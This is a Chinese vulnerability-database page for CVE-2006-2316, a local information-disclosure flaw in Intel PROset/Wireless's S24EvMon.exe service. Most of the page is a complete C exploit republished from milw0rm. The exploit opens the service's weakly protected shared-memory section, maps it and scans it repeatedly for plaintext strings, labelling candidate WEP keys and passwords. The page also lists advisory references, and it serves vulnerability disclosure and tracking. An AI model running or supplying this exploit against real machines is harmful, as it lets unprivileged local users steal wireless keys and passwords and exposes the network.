Intel PROset/Wireless S24EvMon.exe 本地信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110249 漏洞类型 访问验证错误
发布时间 2006-05-09 更新时间 2006-05-12
CVE编号 CVE-2006-2316 CNNVD-ID CNNVD-200605-221
漏洞平台 Windows CVSS评分 4.9
|漏洞来源
https://www.exploit-db.com/exploits/1772
https://cxsecurity.com/issue/WLB-2006050074
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-221
|漏洞详情
IntelPROset/Wireless软件(可能是10.1.0.33版本)中的S24EvMon.exe使用具有较弱权限的S24EventManagerSharedMemory共享内存部分,这会使本地用户读取或修改密码或其它数据,或造成拒绝服务。
|漏洞EXP
///////////////////////////////////////////////////////////////////////
////  S24EvMon.exe Intel Wireless Management Service KEY Hunter
////  Rubén Santamarta
////  ruben@reversemode.com
////  www.reversemode.com
////  28/04/2006
///////////////////////////////////////////////////////////////////////

/**********************************************************************************************************
 * Testing a vuln-finder application that I am developing, I found a flaw within S24EvMon.exe. 
 * It is a service which is part (at least) of the Intel PROset/Wireless software. This application 
 * is provided by Intel in order to support intel Wireless Devices based on Spectrum 24 chipsets.
 *
 * This service uses a shared memory section which is created without the proper security descriptor, 
 * allowing unprivileged users to perform operations like Delete, Read or Write into the memory. The 
 * section is named S24EventManagerSharedMemory
 * 
 * This shared memory is used to store ,in plain text, confidential information like WEP Key, Passwords...
 *
 * The successful exploitation of this vulnerability could allow to any unprivileged user to access 
 * confidential information,exposing the network. An important mitigating factor is that the 
 * vulnerability is local, nevertheless some Malware could take advantage of this flaw. 
 **********************************************************************************************************/

#include <windows.h>
#include <stdio.h>

#define InitializeObjectAttributes( p, n, a, r, s ) {	\
     (p)->Length = sizeof( OBJECT_ATTRIBUTES );         \
     (p)->RootDirectory = r;                            \
     (p)->Attributes = a;                               \
     (p)->ObjectName = n;                               \
     (p)->SecurityDescriptor = s;                       \
     (p)->SecurityQualityOfService = NULL;              \
     }

#define InitializeUnicodeStr(p,s) {			\
     (p)->Length= wcslen(s)*2;				\
     (p)->MaximumLength = wcslen(s)*2+2;		\
     (p)->Buffer = s;					\
     }


typedef struct _SECTION_BASIC_INFORMATION {
  ULONG                   d000;
  ULONG                   SectionAttributes;
  LARGE_INTEGER           SectionSize;
} SECTION_BASIC_INFORMATION;

typedef struct _LSA_UNICODE_STRING {  
    USHORT Length;  
    USHORT MaximumLength; 
    PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        
    PVOID SecurityQualityOfService;  
} OBJECT_ATTRIBUTES;



typedef DWORD (WINAPI* PQUERYSECTION)(HANDLE, DWORD, PVOID,DWORD,DWORD*);

typedef DWORD (WINAPI* POPENSECTION)(HANDLE*, DWORD,OBJECT_ATTRIBUTES* );


VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}



int main(int argc, char* argv[])
{
 OBJECT_ATTRIBUTES SectionAttributes;
 SECTION_BASIC_INFORMATION buff;
 PQUERYSECTION NtQuerySection;
 POPENSECTION NtOpenSection;
 char * sMap,cString[256];
 UNICODE_STRING uStr;
 LPVOID lpMapAddress;
 DWORD i,b=0,c=0;
 HANDLE hSection;


NtOpenSection = (POPENSECTION) GetProcAddress( LoadLibrary( "ntdll.dll" ),
						   "NtOpenSection" );

NtQuerySection = (PQUERYSECTION) GetProcAddress( LoadLibrary( "ntdll.dll"),
						 "NtQuerySection" );

InitializeUnicodeStr(&uStr,L"\\BaseNamedObjects\\S24EventManagerSharedMemory");
InitializeObjectAttributes(&SectionAttributes, &uStr,NULL, NULL, NULL );	


NtOpenSection( &hSection, SECTION_MAP_READ|SECTION_QUERY,  &SectionAttributes );
 
if (hSection == NULL) ShowError();
printf("Section opened successfully.\n"); 
 

lpMapAddress = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
if (lpMapAddress == NULL) ShowError();
 
if (NtQuerySection(hSection,0,&buff,sizeof(buff),0)) ShowError();

sMap= ( char* )lpMapAddress;
printf("Scanning section...\n\n"); 

while(c<100)
{
 
 c++;
 printf("\nSNAPSHOT ID[%d]----------------[BEGIN]\n\n",c);
		
 for (i=0; i< buff.SectionSize.QuadPart; i++)
	{
	
		if( sMap[i]> 0x29  )
		{
			while( sMap[i] != 0x0 )
			{
				if( sMap[i]>=0x30 )
				{
					cString[b] = sMap[i];
					b++;
				}									
				i++;
			}
			
			cString[b++]='\0';
			// less 3 characters should be GARBAGE
			if( b>3 && b!=14 && b!=27 ) 	printf(" String collected: %s\n",cString);
			// Alphanumeric WEP KEY (13 characters)
			if( b==14 )	printf("### Possible Alphanumeric WEP KEY found: %s\n",cString);
			if( b==27 ) 
			{
                   		if(cString[0]!=0x30 && cString[2]!=0x30 && cString[6]!=0x30)
                       			printf("### Possible WEP KEY found(Ascii/HexMode): %s\n",cString);
                                else
                        		printf(" String collected: %s\n",cString);
                	}   
                	b=0;		
		}
			
	}
printf("\nSNAPSHOT ID[%d]----------------[END]\n",c);   

Sleep(1000);
}

CloseHandle(hSection);

return 0;
}

// milw0rm.com [2006-05-09]
|参考资料

来源:BID
名称:17914
链接:http://www.securityfocus.com/bid/17914
来源:BUGTRAQ
名称:20060502Intelwirelessservices24evmon.execonfidentialinformationdisclosure.
链接:http://www.securityfocus.com/archive/1/archive/1/433133/100/0/threaded
来源:MISC
链接:http://www.reversemode.com/index.php?option=com_content&task=view&id=10&Itemid=1
来源:VUPEN
名称:ADV-2006-1737
链接:http://www.frsirt.com/english/advisories/2006/1737
来源:XF
名称:intel-s24evmon-information-disclosure(26317)
链接:http://xforce.iss.net/xforce/xfdb/26317
来源:SECTRACK
名称:1016621
链接:http://securitytracker.com/id?1016621
来源:SREASON
名称:877
链接:http://securityreason.com/securityalert/877
来源:SECUNIA
名称:20001
链接:http://secunia.com/advisories/20001